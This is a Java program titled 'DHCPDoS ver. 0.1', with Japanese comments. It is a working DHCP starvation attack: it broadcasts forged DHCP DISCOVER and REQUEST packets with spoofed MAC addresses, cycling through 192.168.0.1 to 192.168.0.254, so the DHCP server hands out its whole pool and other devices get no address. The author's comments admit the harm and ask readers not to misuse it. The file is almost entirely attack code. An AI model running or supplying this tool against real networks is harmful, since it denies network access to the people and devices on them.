import java.net.*;

//DHCPDoS ver. 0.1 by Yousuke Yamamoto
//192.168.0.1〜192.168.0.255までのIPアドレスをDHCPサーバから割り当ててもらいます
//運がよければ他のノードにはIPアドレスが割り当てられません。
//こけおどしですが、困る人もいると思いますので悪用しないでください。

public class DHCPDoS01 {
  public final static int PORT= 67;//DHCPserver
  public static void main(String[] args) {
    
    try{
      byte[] buf1 ={
(byte)0x01,
(byte)0x01,
(byte)0x06,
(byte)0x00,
(byte)0x2d,(byte)0xa1,(byte)0x48,(byte)0x71,
(byte)0x00,(byte)0x00,
(byte)0x00,(byte)0x00,
(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,//4byte
(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,//4byte
(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,//4byte
(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,//4byte

(byte)0x00,(byte)0x11,(byte)0x09,(byte)0x83,(byte)0x4d,(byte)0x83,//MACアドレス
(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,//Client Hardware Address16byte

//ServerName 64byte
(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,

//BootFileName 128byte
(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,

//Specific Area 64byte
(byte)0x63,(byte)0x82,
(byte)0x53,(byte)0x63,
(byte)0x35,(byte)0x01,(byte)0x01,
(byte)0x74,(byte)0x01,(byte)0x01,

(byte)0x3d,(byte)0x07,(byte)0x01,(byte)0x00,(byte)0x11,(byte)0x09,(byte)0x83,(byte)0x4d,(byte)0x83,//MACアドレス
//要求IPアドレス
(byte)0x32,(byte)0x04,(byte)0xc0,(byte)0xa8,(byte)0x00,(byte)0x14,

(byte)0x37,(byte)0x0b,(byte)0x01,(byte)0x0f,(byte)0x03,(byte)0x06,(byte)0x2c,(byte)0x2e,
(byte)0x2f,(byte)0x1f,(byte)0x21,(byte)0xf9,(byte)0x2b,
(byte)0xff,
//パディング
(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00
};

      
      byte[] buf2={
//28byte
(byte)0x01,
(byte)0x01,
(byte)0x06,
(byte)0x00,
(byte)0x2d,(byte)0xa1,(byte)0x48,(byte)0x71,
(byte)0x00,(byte)0x00,
(byte)0x00,(byte)0x00,
(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,//Client IP Addr
(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,//Your IP Addr
(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,//Next Server IP
(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,//Relay Agent IP

//16byte
(byte)0x00,(byte)0x11,(byte)0x09,(byte)0x83,(byte)0x4d,(byte)0x83,//MAC アドレス
(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,

//ServerName 64byte
(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,

//BootFileName 128byte
(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,

//Specific Area 64byte
(byte)0x63,(byte)0x82,(byte)0x53,(byte)0x63,

//ここからOption
(byte)0x35,(byte)0x01,(byte)0x03,//リクエストタイプ
(byte)0x3d,(byte)0x07,(byte)0x01,(byte)0x00,(byte)0x11,(byte)0x09,(byte)0x83,(byte)0x4d,(byte)0x83,//MACアドレス

(byte)0x32,(byte)0x04,(byte)0xc0,(byte)0xa8,(byte)0x00,(byte)0x14,//要求IP Addr

(byte)0x36,(byte)0x04,(byte)0xc0,(byte)0xa8,(byte)0x00,(byte)0x01,//Option 54//IP Addr
(byte)0x37,(byte)0x0b,(byte)0x01,(byte)0x0f,(byte)0x03,(byte)0x06,(byte)0x2c,(byte)0x2e,(byte)0x2f,(byte)0x1f,(byte)0x21,(byte)0xf9,(byte)0x2b,
(byte)0xff,
//パディング
(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00

};

      /** データを送信 **/
      // データグラムソケットを作成
      InetAddress addr = InetAddress.getByName("255.255.255.255");
      DatagramSocket socket = new DatagramSocket();
      for(int cnt=1 ;cnt<255;cnt++){
        buf1[33]=(byte)cnt;
        buf1[254]=(byte)cnt;
        buf1[260]=(byte)cnt;
        buf2[33]=(byte)cnt;
        buf2[251]=(byte)cnt;
        buf2[257]=(byte)cnt;
        // 送信するデータグラムパケットを作成
        DatagramPacket packet = new DatagramPacket(buf1,buf1.length,addr,PORT);
        // データ送信
        socket.send(packet);
        System.out.println("送信しました");
        Thread.sleep(2000);//とりあえずウェイト
        packet = new DatagramPacket(buf2,buf2.length,addr,67);
        socket.send(packet);
        System.out.println("送信しました");
        Thread.sleep(2000);//とりあえずウェイト
      }
    }catch(Exception e){
      e.printStackTrace();
    }
  }
}
